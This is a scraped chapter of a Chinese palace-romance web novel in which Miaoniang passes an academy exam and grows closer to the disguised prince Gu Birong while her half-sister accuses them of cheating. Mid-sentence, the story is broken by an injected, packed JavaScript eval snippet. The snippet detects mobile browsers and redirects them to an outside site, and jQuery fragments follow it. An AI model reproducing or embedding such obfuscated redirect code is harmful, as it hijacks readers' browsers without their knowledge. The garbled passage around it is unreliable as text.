24. 第 24 章

作品:《恶毒外室子的太子宠妾

    三日后的考核意外地顺利,有许多顾比荣押中的题,苗娘交了卷后还有些恍惚,焦虑地数着日子等成绩出来,待看到名单上自己名字旁的“合格”二字,她激动得原地跳了起来。


    合格了!她合格了!


    她不会被青山书院赶走了!


    真的太好了!


    她这边高兴着,何玉莲则恶狠狠地盯着自己的名次气得咬牙切齿。


    她不信何苗娘才学了不到一月就能考合格了,定是有人给苗娘透了题!


    别人不知道,她却是知道的:苗娘能拜黎老先生为师,靠得可不是爹爹的面子,而是容夫人帮了忙。


    容夫人都能让苗娘拜黎老先生为师,想来区区提前拿个考题自然也不是什么难事。


    她冷哼一声,转身离开。


    她没合格。


    何氏族学的女学只是教导一些《女戒》、《女训》,哪里如青山书院般,居然还涉及史学与诗词!


    苗娘才没注意到何玉莲黑炭般沉凝的脸色,开开心心就收拾东西准备回府。


    路上遇到沈开妍,她很是瞧不起地看着苗娘脸上的喜意:“不过是‘合格’而已,就这么高兴?真是目光短浅!”


    “黎家小姐可是考了最优呢!”


    苗娘倒是不在意这,只是笑盈盈道:“最优又如何?我往日从未学过这些东西,只会一些经书经文,如今只才学了了小半个月便能合格,我已十分满意了。”


    她笑着,头也不回地走开,满脸不在乎的模样气得沈开妍直跳脚。


    一旁的黎月琳将二人的对话听在眼里,一向高洁的面庞不由染上一抹晦暗之色,她目光流转,落在一旁气哼哼地何玉莲身上。


    一回到府,苗娘就高高兴兴地冲进梧桐堂,像只脱了缰的小狗一般扑进顾比荣怀里。


    “容夫人!我合格了!我合格了!我合格了!”


    顾比荣看着书的手一顿,颇为无奈地共享苗娘的喜悦,眼见苗娘越拱越兴奋,就要将他胸前的衣裳拱开了,他皱皱眉,冷冷用手指抵住她的额头,将她推开。


    “女子当娴静端方,你瞧瞧你,怎么这么沉不住气。”


    苗娘揉了揉被容夫人推得发红的额头,不在意地笑道:“谁让夫人喜欢我呢?即便是我不够娴静,你不也还是对我好吗?”


    顾比荣呼吸一滞,冷目抬起,看着苗娘一副得意洋洋的小表情,他心一动,抿了抿唇低下头。


    苗娘说得不错,无论她是怎样的,他都是对她动了心。这样想着,顾比荣眼中的冰意褪去,露出几分淡淡的笑意。


    苗娘则颇为感动地剖白道:“容夫人,你是真的对我好,我不是那种不知好歹的人,你的心意我都看在眼底······”


    顾比荣闻言,面上不由涌起几分窘迫,难道,她竟然知道了他的心意?


    可他现在扮成了女子的模样,困于此地,这般狼狈,实在不堪。


    人在陷入情爱中时,会下意识的患得患失起来,那怕一向高冷清正、喜怒不形于色如顾比荣,也会如此。


    他面上起了一点红,心底却在暗暗想着,到底要不要和她坦白身份。


    正踌躇间,苗娘小嘴叭叭地讲道:“容夫人,不管你怎么想,我日后定把你当亲生母亲一般回报、侍奉于你!”


    说罢她眼睛亮晶晶地看向顾比荣,期待看到容夫人高兴满意的表情。


    可是——奇怪了,容夫人的脸色为什么这么黑呀?


    苗娘不由歪了歪头,一双眼睛不谙世事地眨呀眨。


    顾比荣只觉得一口气堵在胸口,上不去也下不来,良久,他气笑了:“好!好!好——”


    话音间颇有些咬牙切齿的意味。


    苗娘却没听出来,她只是一双星星眼眨也不眨的盯着容夫人罕见的笑容瞧,莫名红了脸。


    她小声嘟哝:“容夫人日后能不能别戴面纱了,我想瞧瞧你不戴面纱时笑起来的模样。”


    顾比荣的脸色慢慢冷了下去,他叹了一气,凛眉解开脸上的面纱,露出他那张如玉般清雅的面颊,声音放低,带着一丝引诱。


    “可是,苗娘,我们祁族人的面庞,是只能让爱人看的。”


    “苗娘,你是我的爱人吗?”


    苗娘目光都要痴了,她简直要醉死在容夫人轻柔的声音里,迷倒在容夫人绝美的容颜下。


    她脸刷得通红,有些结结巴巴地坐直了身子,拉开了距离:“我、我、我——”


    她“我”了半天都没说出来,只是一颗心砰砰直跳。


    她怎么可能是容夫人的爱人呢?她是女子,不是男子,娶不了容夫人的。更何况,容夫人现在,是爹爹的宠妾,是、是爹爹的“爱人”······


    想到这儿,她又是因自己不是男子娶不了容夫人而难过,又是为容夫人不得不“嫁”给爹爹而感到恶心。


    她目光惶惶地直视顾比荣的眼,带着一分怜惜突然追问:“那爹爹呢?爹爹是容夫人爱的人吗?”


    顾比荣一愣,顿时是一阵厌恶,他有些苦恼地皱起眉,不知如何与苗娘解释。


    看着容夫人被问住时露出的厌恶生气,苗娘一下子就明白了,她有些心疼地将那面纱又再覆上,帮容夫人牢牢系住。


    “夫人,虽然、虽然你进了将军府为妾,就是一辈子困死在这里了,但我还能出去,我定会找个位高权重的好夫君,将你接出去荣养天年。”


    “届时,你也就可以去找你的心爱之人了,去过自由的生活。”


    苗娘一向窝窝囊囊的不靠谱,可说这些话的时候,声音里是不容置疑的笃定,她动作轻柔地帮顾比荣系上面纱,呼吸透过面纱轻轻打在他的鼻息间,二人气息交汇,说不出的暧昧在空气中流淌。


    顾比荣又是无奈,又是好笑,又是为难,万般情绪落在心间,倒是让他神色莫名冷了些。


    “你想找个位高权重的好夫君?”他问。


    苗娘点点头,她虽然一向在容夫人面前表现得毫无野心,但这并不意味她性子真就那么软弱,往日做出那副可怜懦弱的蠢笨模样不过是在府中无人倚靠,只得如此。


    她知道自己没什么才能,只能像个菟丝子般依


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616855|156168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赖旁人。所以,若是可以,她定要嫁个厉害的人,位高权重的人才护得住她,才——才能给容夫人自由。


    顾比荣饶有兴致地看着苗娘眼底里的野心,良久,他冷声道:“你一定能找到的。”


    待他重回高位,定要轰轰烈烈、热热闹闹地来迎娶她······


    可苗娘却又在一瞬间泄气了,嘟着嘴:“可是,哪里能找到这样的人呢?”


    “我都及笄快一年了,父亲和老太太可一点给我择婿的动静都没呢!他们定是要拖着我把我困在府里。”


    “何玉莲还说了,我平日都不怎么见客,外人都不怎么认识我,便是对外称我病了,再找别人顶替了我的身份也是有可能的······容夫人,我好害怕啊——”


    “若是不能找一个好夫君,我怕是真要死在这府里了——”


    她说着说着,心头真的生出几分恐慌起来,她喃喃地将脸埋进容夫人怀里,脸色煞白。


    顾比荣挑挑眉,目光冷凝,面露寒意,他伸出玉节般微凉的手指抚了抚苗娘的侧脸,触及她脸上的一片冰凉,他冷冷出声,承诺道:“不会的,不会有这种事。”


    你放心,孤,决定不会让这样的事发生在你身上!


    住进将军府的这短短一个多月里,他实在是厌烦极了何府上除了苗娘以外的人。


    再忍忍吧,他的指尖轻轻顺着苗娘的发丝,目光凉凉的。


    再忍忍。


    ---


    第二日,苗娘去上学了,鸣泠进屋通报,说是何玉莲小姐前来拜见。


    顾比荣微微挑眉,有些意外自己还没找她算账,她竟主动上门来了。


    既然如此,那便见一面吧。


    他微微扬了扬下巴示意鸣泠领她进来。


    何玉莲倒是不客气,一进来就像个孔雀般昂着头四处看。


    “玉莲小姐来梧桐堂,所为何事?”顾比荣冷冷问。


    何玉莲冷笑一声:“你装什么?真以为你们做的事天衣无缝吗?”


    顾比荣挑眉,等着何玉莲接着说下去。


    “何苗娘一个卑贱的外室女,在府里时只会抄抄经书,如今进了青山书院不过半个多月就能考核合格了,若不是有你在其中透题舞弊,她怎么可能能考过。”何玉莲高傲道。


    顾比荣皱了皱眉,不欲与她多纠缠,只是长指轻敲桌面:“你有何证据?”


    何玉莲冷笑一声,拍了拍掌,绿梅、白梨押着芳娘上前来。


    顾比荣自然是认得苗娘身边唯一的丫鬟的,更别提苗娘对她很是上心,曾还托他去过问她。


    何玉莲抽出芳娘怀里的册子,摔在顾比荣身前:“我从这贱婢身上搜出了证据!”


    那正是顾比荣给苗娘要来的往年考题,他眉都没动一下:“不过是些往年的考题罢了,若是有心想整理,谁都能理得出来。”


    何玉莲张牙舞爪的气势一顿,很是意外容夫人居然一点异色都没,她不肯轻易松口:“不可能,这就是你们舞弊的证据。不是的话,那这贱婢为何护得像眼珠子一样不敢让我看!”